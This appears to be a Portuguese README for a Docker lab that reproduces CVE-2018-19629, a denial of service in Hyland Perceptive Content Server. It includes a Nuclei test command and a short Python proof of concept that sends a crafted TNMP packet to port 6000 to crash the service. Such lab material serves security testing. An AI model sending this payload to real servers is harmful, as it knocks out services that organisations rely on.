Ambiente de Teste CVE-2018-19629

Ambiente de teste Docker para CVE-2018-19629 - Negação de Serviço no Hyland Perceptive Content Server.

Detalhes da Vulnerabilidade

Descrição

O Hyland Perceptive Content Server anterior à versão 7.1.5 contém uma vulnerabilidade de negação de serviço causada pela falha do serviço ImageNow Server através de uma conexão TCP. Atacantes podem interromper o serviço enviando pacotes TCP especialmente criados contendo a sequência de cabeçalho TNMP.

Início Rápido

# Inicie o ambiente vulnerável
docker-compose up -d

# Verifique se está ouvindo
# (Talvez seja necessário netcat ou similar)
nc -zv localhost 6000

Teste com Nuclei

# Teste com o template nuclei
nuclei -t ../network/cves/2018/CVE-2018-19629.yaml -u localhost:6000

Verificação Manual

Você pode provocar a falha manualmente usando Python:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 6000))
# O pacote malicioso
payload = b'\x54\x4e\x4d\x50\x04\x00\x00\x00\x54\x4e\x4d\x45\x00\x00\x04\x00'
s.send(payload)
s.close()

Verifique os logs para ver a falha:

docker logs -f imagenow-vuln

Você deve ver: [!] CRITICAL: Recevied malicious 'TNMP' packet... seguido pelo container reiniciando.

Detalhes do Ambiente

• Porta: 6000 (TCP)
• Protocolo: TCP personalizado (ImageNow)

Limpeza

docker-compose down